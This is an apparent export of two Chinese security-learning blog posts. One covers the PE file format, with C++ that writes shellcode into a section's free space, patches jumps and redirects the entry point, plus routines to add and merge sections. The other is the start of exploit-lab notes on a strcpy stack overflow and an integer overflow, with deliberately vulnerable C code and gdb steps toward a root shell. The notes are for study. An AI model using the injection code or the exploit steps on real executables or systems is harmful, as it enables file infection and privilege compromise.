<h2 id="修改vs编译的程序遇到的问题"><a class="markdownIt-Anchor" href="#修改vs编译的程序遇到的问题"></a> 修改vs编译的程序,遇到的问题:</h2>
<p>1.要是修改vs编译出来的程序要跳过.textbss这个节表,这个表的内存地址和文件地址都为0x000000</p>
<p>2.vs编译的程序已经开启ALSR(地址随机化),要想修改成功需要关闭这个</p>
<img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220303143104764.png" alt="image-20220303143104764" style="zoom: 67%;">
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function">LPVOID <span class="hljs-title">changeimagebuffer</span><span class="hljs-params">(LPVOID imagebuffer)</span> </span>{<br> PIMAGE_DOS_HEADER pDosHeader = <span class="hljs-literal">NULL</span>;<br> DWORD SizeOfImage = <span class="hljs-number">0</span>;<br> DWORD SizeOfHeaders = <span class="hljs-number">0</span>;<br> WORD NumberOfSections = <span class="hljs-number">0</span>;<br> PIMAGE_SECTION_HEADER pSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> LPVOID pImageBuffer = <span class="hljs-literal">NULL</span>;<br> PBYTE codebegin = <span class="hljs-literal">NULL</span>;<br><br><br><br> pDosHeader = (PIMAGE_DOS_HEADER)imagebuffer;<br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(imagebuffer);<br><br> <span class="hljs-comment">//判断空闲区是否能存储shellcode代码(文件对齐大小-misc里真实内存大小)</span><br> pSectionHeaderBase = <span class="hljs-built_in">LocateSectionBase</span>(imagebuffer);<br> <span class="hljs-keyword">if</span> (((pSectionHeaderBase->SizeOfRawData) - (pSectionHeaderBase->Misc.VirtualSize)) < <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(shellcode))<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"代码空闲区不足"</span>);<br> <span class="hljs-built_in">free</span>(imagebuffer);<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;<br> }<br><br> <span class="hljs-comment">//把代码复制到空闲区</span><br> codebegin = (PBYTE)((DWORD)imagebuffer + pSectionHeaderBase->VirtualAddress + pSectionHeaderBase->Misc.VirtualSize)+<span class="hljs-number">14</span>;<br> <span class="hljs-built_in">memcpy</span>(codebegin, shellcode, <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(shellcode));<br> <span class="hljs-comment">//修正E8</span><br><br> DWORD e8addr = (DWORD)(MESSAGE_BOX_ADDRESS - (pNtHeaders->OptionalHeader.ImageBase + ((DWORD)codebegin +(DWORD)<span class="hljs-number">0x0D</span> - (DWORD)imagebuffer)));<br> <span class="hljs-comment">//e8addr = 0x7D8A55E1;</span><br> *(PDWORD)(codebegin + <span class="hljs-number">9</span>) = e8addr;<br> <span class="hljs-comment">// 修正E9</span><br> DWORD e9addr = (DWORD)((pNtHeaders->OptionalHeader.ImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint) - (pNtHeaders->OptionalHeader.ImageBase + ((DWORD)codebegin + (DWORD)<span class="hljs-number">0x12</span> - (DWORD)imagebuffer)));<br> <span class="hljs-comment">//e9addr = 0xFFFFDC95;</span><br> *(PDWORD)(codebegin + <span class="hljs-number">0xE</span>) = e9addr;<br> <span class="hljs-comment">//pSectionHeaderBase = (PIMAGE_SECTION_HEADER)(BYTE*)imagebuffer + pDosHeader->e_lfanew + sizeof(IMAGE_); </span><br><br> pNtHeaders->OptionalHeader.AddressOfEntryPoint = (DWORD)codebegin - (DWORD)imagebuffer;<br> <span class="hljs-comment">//pNtHeaders->OptionalHeader.AddressOfEntryPoint = 0x01A730;</span><br> <span class="hljs-keyword">return</span> imagebuffer;<br><br><br>}<br></code></pre></td></tr></table></figure>
<h1 id="新增加一个节"><a class="markdownIt-Anchor" href="#新增加一个节"></a> 新增加一个节</h1>
<h2 id="需要进行的操作"><a class="markdownIt-Anchor" href="#需要进行的操作"></a> 需要进行的操作</h2>
<p>1)添加一个新的节(可以copy一份)<br>
2)在新增节后面填充一个节大小的000<br>
3)修改PE头中节的数量<br>
4)修改sizeofimage的大小<br>
5)再原有数据的最后,新增一个节的数据(内存对齐的整数倍).<br>
6)修正新增节表的属性</p>
<p>注意:SizeOfHeader - (DOS +垃圾数据+ PE标记+标准PE头+可选PE头+己存在节表)= 2个节表的大小</p>
<p>空间不够可以把PE头往上移动(占DOS头的垃圾数据)</p>
<h2 id="代码遇到的问题"><a class="markdownIt-Anchor" href="#代码遇到的问题"></a> 代码遇到的问题</h2>
<p>1.imagebuffer开辟内存空间太小了,解决:<strong>重新申请一个足够大的空间然后拷贝内存</strong></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function">LPVOID <span class="hljs-title">NEWSetion</span><span class="hljs-params">(LPVOID pImageBuffer)</span> </span>{<br> <span class="hljs-comment">/*</span><br><span class="hljs-comment">1)添加一个新的节(可以copy一份)</span><br><span class="hljs-comment">2)在新增节后面填充一个节大小的000</span><br><span class="hljs-comment">3)修改PE头中节的数量</span><br><span class="hljs-comment">4)修改sizeofimage的大小</span><br><span class="hljs-comment">5)再原有数据的最后,新增一个节的数据(内存对齐的整数倍).</span><br><span class="hljs-comment">6)修正新增节表的属性</span><br><span class="hljs-comment"></span><br><span class="hljs-comment">注意:SizeOfHeader - (DOS +垃圾数据+ PE标记+标准PE头+可选PE头+己存在节表)= 2个节表的大小</span><br><span class="hljs-comment"></span><br><span class="hljs-comment">空间不够可以把PE头往上移动(占DOS头的垃圾数据)</span><br><span class="hljs-comment"> </span><br><span class="hljs-comment"> */</span><br> PIMAGE_DOS_HEADER pDosHeader = <span class="hljs-literal">NULL</span>;<br> DWORD SizeOfImage = <span class="hljs-number">0</span>;<br> DWORD SizeOfHeaders = <span class="hljs-number">0</span>;<br> WORD NumberOfSections = <span class="hljs-number">0</span>;<br> DWORD pointtonew = <span class="hljs-number">0</span>;<br> PIMAGE_SECTION_HEADER pSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> PIMAGE_SECTION_HEADER pnewSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> <span class="hljs-comment">//LPVOID pImageBuffer = NULL;</span><br> PBYTE codebegin = <span class="hljs-literal">NULL</span>;<br><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pImageBuffer);<span class="hljs-comment">//nt头</span><br> <span class="hljs-comment">//内存对齐大小</span><br> <span class="hljs-keyword">const</span> DWORD size = pNtHeaders->OptionalHeader.SectionAlignment;<br><br> LPVOID npFileBuffer = <span class="hljs-built_in">malloc</span>(pNtHeaders->OptionalHeader.SizeOfImage + size);<br><br><br> <span class="hljs-built_in">memset</span>(npFileBuffer,<span class="hljs-number">0x00</span> , pNtHeaders->OptionalHeader.SizeOfImage + size);<br> <span class="hljs-built_in">memcpy</span>(npFileBuffer, pImageBuffer, pNtHeaders->OptionalHeader.SizeOfImage);<br><br> pImageBuffer = npFileBuffer;<br> pDosHeader = (PIMAGE_DOS_HEADER)pImageBuffer;<span class="hljs-comment">//dos头</span><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pImageBuffer);<span class="hljs-comment">//nt头</span><br> <br> <span class="hljs-comment">//验证剩余空间是否够2个节表大小</span><br> DWORD freesp = pNtHeaders->OptionalHeader.SizeOfHeaders - (pDosHeader->e_lfanew + <span class="hljs-number">0x4</span> + <span class="hljs-number">0x14</span> + pNtHeaders->FileHeader.SizeOfOptionalHeader + (pNtHeaders->FileHeader.NumberOfSections * <span class="hljs-number">0x28</span>));<br> <span class="hljs-keyword">if</span> (freesp < <span class="hljs-number">0x28</span> * <span class="hljs-number">2</span>)<br> {<br> <span class="hljs-built_in">printf</span> (<span class="hljs-string">"空间不足够添加节表,添加失败"</span>);<br> <span class="hljs-keyword">return</span> pImageBuffer;<br> };<br><br><br> <span class="hljs-comment">//找最后一个节表结束的位置添加节</span><br> pSectionHeaderBase = <span class="hljs-built_in">LocateSectionBase</span>(pImageBuffer);<br> LPVOID addsectionstart = (BYTE*)pSectionHeaderBase + (DWORD)(<span class="hljs-number">0x28</span> * (pNtHeaders->FileHeader.NumberOfSections));<br> <span class="hljs-built_in">memcpy</span>(addsectionstart, pSectionHeaderBase, <span class="hljs-number">0x28</span>);<br><br> <span class="hljs-comment">//在内存最后添加一个内存对齐整数倍的00</span><br> LPVOID endexe = (BYTE*)pImageBuffer + pNtHeaders->OptionalHeader.SizeOfImage ;<br><br><br> BYTE* tian1 = <span class="hljs-keyword">new</span> BYTE[size];<br> <span class="hljs-built_in">memset</span>(tian1, <span class="hljs-number">0x00</span>, size);<br><br> <span class="hljs-comment">//tian1 </span><br> <span class="hljs-comment">//BYTE tian[4096] = { 0x00 };</span><br> <span class="hljs-built_in">memcpy</span>(endexe, tian1 , size);<br><br> <span class="hljs-comment">//修改sizeofimage大小</span><br> pNtHeaders->OptionalHeader.SizeOfImage = pNtHeaders->OptionalHeader.SizeOfImage + size;<br><br> <span class="hljs-comment">//修改新添加节的属性</span><br> pnewSectionHeaderBase =(PIMAGE_SECTION_HEADER) addsectionstart;<br> pnewSectionHeaderBase->Misc.VirtualSize = size;<br> pnewSectionHeaderBase->VirtualAddress = (DWORD) endexe - (DWORD) pImageBuffer;<br> pnewSectionHeaderBase->SizeOfRawData = size;<br> <span class="hljs-comment">//文件中偏移,先找上一个节的文件偏移+是一个节的大小(偷懒直接看是不是SizeOfRawData打过真实大小,直接加了)</span><br> PIMAGE_SECTION_HEADER presec = <span class="hljs-built_in">PIMAGE_SECTION_HEADER</span>((BYTE*)pnewSectionHeaderBase - <span class="hljs-number">0x28</span>);<br> <span class="hljs-keyword">if</span> (presec->SizeOfRawData > presec->Misc.VirtualSize)<br> {<br> pointtonew = presec->SizeOfRawData + presec->PointerToRawData;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br> }<br> pnewSectionHeaderBase->PointerToRawData = pointtonew;<br><br><br><br> <span class="hljs-comment">//+pNtHeaders->OptionalHeader.SectionAlignment</span><br> <span class="hljs-comment">//修改节的数量+1</span><br> pNtHeaders->FileHeader.NumberOfSections = pNtHeaders->FileHeader.NumberOfSections + <span class="hljs-number">1</span>;<br><br><br><br> <span class="hljs-keyword">return</span> pImageBuffer;<br>}<br><br></code></pre></td></tr></table></figure>
<h1 id="扩大节"><a class="markdownIt-Anchor" href="#扩大节"></a> 扩大节:</h1>
<p>1、拉伸到内存<br>
2.分配一块新的空间: Size0fImage + Ex<br>
3、将最后一个节的Si zeOfRawData和VirtualSize改成N<br>
SizeOfRawData = VirtualSize = N<br>
N = (SizeOfRawData或者VirtualSize 内存对齐后的值) + Ex (这两个值取最大的)<br>
4、修改SizeOfImage大小<br>
Size0fImage = Size0fImage + Ex</p>
<h1 id="合并节"><a class="markdownIt-Anchor" href="#合并节"></a> 合并节</h1>
<p>1、拉伸到内存 <br>
2、将第一个节的内存大小、文件大小改成一样 <br>
Max = SizeOfRawData>VirtualSize?SizeOfRawData:VirtualSize <br>
SizeOfRawData = VirtualSize = 最后一个节的VirtualAddress(23000h) + Max (4000h)- SizeOfHeaders内存对齐后的大小(1000h) <br>
3、将第一个节的属性改为包含所有节的属性</p>
<p><strong>DWORD Characteristics;</strong> 进行或运算即可 <br>
4、修改节的数量为1</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">/*</span><br><span class="hljs-comment">函数功能:合并节</span><br><span class="hljs-comment">参数:内存映像指针</span><br><span class="hljs-comment">返回值:内存映像指针</span><br><span class="hljs-comment">注意:无</span><br><span class="hljs-comment">1、拉伸到内存</span><br><span class="hljs-comment">2、将第一个节的内存大小、文件大小改成一样</span><br><span class="hljs-comment"> Max = SizeOfRawData>VirtualSize?SizeOfRawData:VirtualSize</span><br><span class="hljs-comment"> SizeOfRawData = VirtualSize = 最后一个节的VirtualAddress + Max - SizeOfHeaders内存对齐后的大小</span><br><span class="hljs-comment">3、将第一个节的属性改为包含所有节的属性</span><br><span class="hljs-comment">4、修改节的数量为1</span><br><span class="hljs-comment">*/</span><br><span class="hljs-function">LPVOID <span class="hljs-title">Setiontoone</span><span class="hljs-params">(LPVOID pImageBuffer)</span> </span>{<br> PIMAGE_DOS_HEADER pDosHeader = <span class="hljs-literal">NULL</span>;<br> DWORD SizeOfImage = <span class="hljs-number">0</span>;<br> DWORD SizeOfHeaders = <span class="hljs-number">0</span>;<br> DWORD SizeOfRawData = <span class="hljs-number">0</span>;<br> DWORD VirtualSize = <span class="hljs-number">0</span>;<br> DWORD MAX = <span class="hljs-number">0</span>;<br> WORD NumberOfSections = <span class="hljs-number">0</span>;<br> DWORD pointtonew = <span class="hljs-number">0</span>;<br> PIMAGE_SECTION_HEADER pSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> PIMAGE_SECTION_HEADER pnewSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br><br> pDosHeader = (PIMAGE_DOS_HEADER)pImageBuffer;<span class="hljs-comment">//dos头</span><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pImageBuffer);<span class="hljs-comment">//nt头</span><br><br> <span class="hljs-comment">//SizeOfHeaders内存对齐后的大小</span><br> pSectionHeaderBase = <span class="hljs-built_in">LocateSectionBase</span>(pImageBuffer);<br> DWORD SizeOfHeadersmem = pSectionHeaderBase->VirtualAddress;<br> <span class="hljs-comment">//找最后一个节</span><br> PIMAGE_SECTION_HEADER pLaswSectionHeaderBase = <span class="hljs-built_in">PIMAGE_SECTION_HEADER</span> ((BYTE*)pSectionHeaderBase + (DWORD)(<span class="hljs-number">0x28</span> * (pNtHeaders->FileHeader.NumberOfSections<span class="hljs-number">-1</span>)));<br> <span class="hljs-comment">//Max = SizeOfRawData>VirtualSize?SizeOfRawData:VirtualSize</span><br> <span class="hljs-keyword">if</span> (pLaswSectionHeaderBase->SizeOfRawData > pLaswSectionHeaderBase->Misc.VirtualSize)<br> {<br> MAX = pLaswSectionHeaderBase->SizeOfRawData;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> MAX = pLaswSectionHeaderBase->Misc.VirtualSize;<br> }<br> <span class="hljs-comment">//SizeOfRawData = VirtualSize = 最后一个节的VirtualAddress + Max - SizeOfHeaders内存对齐后的大小</span><br> SizeOfRawData = pLaswSectionHeaderBase->VirtualAddress + MAX - SizeOfHeadersmem;<br> <span class="hljs-comment">/*</span><br><span class="hljs-comment"> 修改节表属性或操作</span><br><span class="hljs-comment"> */</span><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">1</span>; x < pNtHeaders->FileHeader.NumberOfSections ; x++) {<br> PIMAGE_SECTION_HEADER pSectiontime = (PIMAGE_SECTION_HEADER)((BYTE*)pSectionHeaderBase +x* <span class="hljs-number">0x28</span>);<br> pSectionHeaderBase->Characteristics = pSectiontime->Characteristics | pSectionHeaderBase->Characteristics;<br> }<br> <span class="hljs-comment">//修改节表数量</span><br> pNtHeaders->FileHeader.NumberOfSections = <span class="hljs-number">1</span>;<br><br> <span class="hljs-comment">//修改第一个节表属性</span><br> pSectionHeaderBase->SizeOfRawData = SizeOfRawData;<br> pSectionHeaderBase->Misc.VirtualSize = SizeOfRawData;<br><br> <span class="hljs-comment">//修改所有节的属性</span><br><br><br><br> <span class="hljs-keyword">return</span> pImageBuffer;<br></code></pre></td></tr></table></figure>
<p></p>
<h2 id="代码遇到的问题-2"><a class="markdownIt-Anchor" href="#代码遇到的问题-2"></a> 代码遇到的问题</h2>
<p>1.忘记修改节表属性了</p>
<h1 id="动态链接库-静态链接库"><a class="markdownIt-Anchor" href="#动态链接库-静态链接库"></a> 动态链接库 静态链接库</h1>
<p>静态链接库:直接把函数编译到exe里,但是如果需要修改函数就得重新编译exe</p>
<p>动态链接库:修改时直接编译dll即可,exe不用重新生成</p>
<h1 id="导出表"><a class="markdownIt-Anchor" href="#导出表"></a> 导出表</h1>
<p>在可选PE头里的数据目录第一项</p>
<img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220307232838234.png" alt="image-20220307232838234" style="zoom: 50%;">
<h2 id="数据目录结构"><a class="markdownIt-Anchor" href="#数据目录结构"></a> 数据目录结构</h2>
<figure class="highlight elm"><table><tr><td class="code"><pre><code class="hljs elm">// 数据目录 _IMAGE_DATA_DIRECTORY结构体<br>typedef struct _IMAGE_DATA_DIRECTORY {<br> <span class="hljs-type">DWORD</span> <span class="hljs-type">VirtualAddress</span>; /**指向某个数据的相对虚拟地址 <span class="hljs-type">RAV</span> 偏移0x00**/<br> <span class="hljs-type">DWORD</span> <span class="hljs-type">Size</span>; /**某个数据块的大小 偏移0x04**/<br>} <span class="hljs-type">IMAGE_DATA_DIRECTORY</span>, *<span class="hljs-type">PIMAGE_DATA_DIRECTORY</span>;<br></code></pre></td></tr></table></figure>
<p>要在文件中找到需要RVA转FOA查看文件中的位置</p>
<h2 id="导出表结构"><a class="markdownIt-Anchor" href="#导出表结构"></a> 导出表结构</h2>
<img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220308230652307.png" alt="image-20220308230652307" style="zoom:80%;">
<p>*<strong>不一定是导出的函数地址长度最大,有可能几个函数指向同一个的地址</strong></p>
<p>numberoffunctions,不一定就是真正的导出函数个数(用序号的最后一个减去开始的序号然后加1)</p>
]]></content>
<categories>
<category>逆向学习</category>
<category>学习</category>
</categories>
<tags>
<tag>逆向学习</tag>
</tags>
</entry>
<entry>
<title>《SploitFun Linux x86 Exploit 开发系列教程》学习</title>
<url>/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/</url>
<content><![CDATA[<p><strong>0x00:</strong></p>
<p>其实这篇博客是后来上传的了,这居然是我们的网络攻防实验课的作业,当时我选的方向是二进制,《SploitFun Linux x86 Exploit 开发系列教程》这书确实不错,很多基本的二进制漏洞都有了,吐槽下:<strong>就是书里面很多二进制漏洞都是用的内存中的绝对地址,这意味着你要自己调试知道地址是多少</strong>,还有坑就是如果在你的环境下调试出来的地址<strong>带有/x00之类的截断字符</strong>,就有可能被截断,然后实验不成功。这里只有前7个实验,实验8未成功,以及之后堆的实验都是<strong>需要一定的环境才能复现,有些漏洞现在早已不能使用</strong>,建议直接使用ctf题目学习。</p>
<h1 id="实验一典型的基于堆栈的缓冲区溢出"><a class="markdownIt-Anchor" href="#实验一典型的基于堆栈的缓冲区溢出"></a> 实验一:典型的基于堆栈的缓冲区溢出</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<p>什么是缓冲区溢出? 将源缓冲区复制到目标缓冲区可能导致溢出</p>
<p>1、源字符串长度大于目标字符串长度。</p>
<p>2、不进行大小检查。</p>
<p>缓冲区溢出有两种类型:</p>
<p>1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中</p>
<p>2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中</p>
<p>漏洞代码:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-comment">/* [1] */</span> <span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>];<br><span class="hljs-comment">/* [2] */</span> <span class="hljs-built_in">strcpy</span>(buf,argv[<span class="hljs-number">1</span>]);<br><span class="hljs-comment">/* [3] */</span> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Input:%s\n"</span>,buf);<br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure>
<h2 id="1使用ubuntu1204x86版本进行编译"><a class="markdownIt-Anchor" href="#1使用ubuntu1204x86版本进行编译"></a> 1.使用Ubuntu12.04(x86)版本进行编译</h2>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730165935638.png" alt="image-20210730165935638" style="zoom:80%;">
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170014233.png" alt="image-20210730170014233" style="zoom:80%;">
<h2 id="2查看程序里的堆栈布局"><a class="markdownIt-Anchor" href="#2查看程序里的堆栈布局"></a> 2.查看程序里的堆栈布局</h2>
<p>gdb调试输入disassemble main</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170048792.png" alt="image-20210730170048792" style="zoom:80%;">
<h2 id="3测试是否能覆盖返回地址"><a class="markdownIt-Anchor" href="#3测试是否能覆盖返回地址"></a> 3.测试是否能覆盖返回地址</h2>
<p>先通过python输入大量的A</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170137935.png" alt="image-20210730170137935" style="zoom:80%;">
<p>然后通过gdb查看此时eip的地址</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170157849.png" alt="image-20210730170157849" style="zoom:80%;">
<p>可以看到此时eip的地址为0x41414141,41为A在内存里的值,所以eip的地址被输入的A覆盖了。</p>
<h2 id="4准确覆盖返回地址测试"><a class="markdownIt-Anchor" href="#4准确覆盖返回地址测试"></a> 4.准确覆盖返回地址测试</h2>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170220140.png" alt="image-20210730170220140" style="zoom:80%;">
<p>我们可以知道返回地址的位置是0x100+0x8+0x4=0x10c</p>
<p>其中</p>
<p>0x100 是 ‘buf’ 的大小 0x8 是 对齐空间 0x4 是调用者的ebp</p>
<p>这时候我们可以测试输入268<em>A和4</em>B,我们就可以吧返回地址覆盖成0x42424242</p>
<p>Gdb调试测试如下:</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170248840.png" alt="image-20210730170248840" style="zoom:80%;">
<p>可以看到重新调试之后,eip的地址覆盖成了0x42424242</p>
<h2 id="5构建exp攻击"><a class="markdownIt-Anchor" href="#5构建exp攻击"></a> 5.构建exp攻击</h2>
<p>首先我们得知道buf的地址,我们先把攻击的的脚本用来输入,再使用gdb调试看返回地址的位置</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170515205.png" alt="image-20210730170515205" style="zoom:80%;">
<p>然后查看栈中shellcode的返回的位置</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170531756.png" alt="image-20210730170531756" style="zoom:80%;">
<p>*ret_addr可以为"\x90"中任意一个地址,"\x90"在shellcode为nop空操作</p>
<p>找到shellcode的位置是0xbffff224,然后将攻击脚本中ret_addr改为0xbffff220</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170611805.png" alt="image-20210730170611805" style="zoom:80%;">
<p>运行即可成功拿到root shell</p>
<h1 id="实验二整数溢出"><a class="markdownIt-Anchor" href="#实验二整数溢出"></a> 实验二:整数溢出</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1-原理"><a class="markdownIt-Anchor" href="#1-原理"></a> 1. 原理</h2>
<p>什么是整数溢出?</p>
<p>存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。</p>
<p>数据类型大小及范围:</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170757200.png" alt="image-20210730170757200" style="zoom:80%;">
<p>当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝 试将 2147483648 存储到带符号的 int 数据类型时,它将被包装并存储 为 -21471483648 。这被称为整数溢出,这种溢出可能导致任意代码执行 整数下溢 类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试 将 -2147483649 存储到带符号的int数据类型时,它将被包装并存储 为 21471483647 .这称为整数下溢。在这里我只会谈论整数溢出,但是这个过程对 于下溢也是一样的!</p>
<p>漏洞代码:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdlib.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">store_passwd_indb</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* passwd)</span> </span>{<br>}<br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">validate_uname</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* uname)</span> </span>{<br>}<br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">validate_passwd</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* passwd)</span> </span>{<br><span class="hljs-keyword">char</span> passwd_buf[<span class="hljs-number">11</span>];<br><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> passwd_len = <span class="hljs-built_in">strlen</span>(passwd); <span class="hljs-comment">/* [1] */</span><br><span class="hljs-keyword">if</span>(passwd_len >= <span class="hljs-number">4</span> && passwd_len <= <span class="hljs-number">8</span>) { <span class="hljs-comment">/* [2] */</span><br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"Valid Password\n"</span>); <span class="hljs-comment">/* [3] */</span><br>fflush(<span class="hljs-built_in">stdout</span>);<br><span class="hljs-built_in">strcpy</span>(passwd_buf,passwd); <span class="hljs-comment">/* [4] */</span><br>} <span class="hljs-keyword">else</span> {<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"Invalid Password\n"</span>); <span class="hljs-comment">/* [5] */</span><br>fflush(<span class="hljs-built_in">stdout</span>);<br>}<br>store_passwd_indb(passwd_buf); <span class="hljs-comment">/* [6] */</span><br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-keyword">if</span>(argc!=<span class="hljs-number">3</span>) {<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"Usage Error: \n"</span>);<br>fflush(<span class="hljs-built_in">stdout</span>);<br><span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);<br>}<br>validate_uname(argv[<span class="hljs-number">1</span>]);<br>validate_passwd(argv[<span class="hljs-number">2</span>]);<br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure>
<h2 id="2-编译以及溢出点"><a class="markdownIt-Anchor" href="#2-编译以及溢出点"></a> 2. 编译以及溢出点</h2>
<p>编译指令</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170859269.png" alt="image-20210730170859269" style="zoom:80%;">
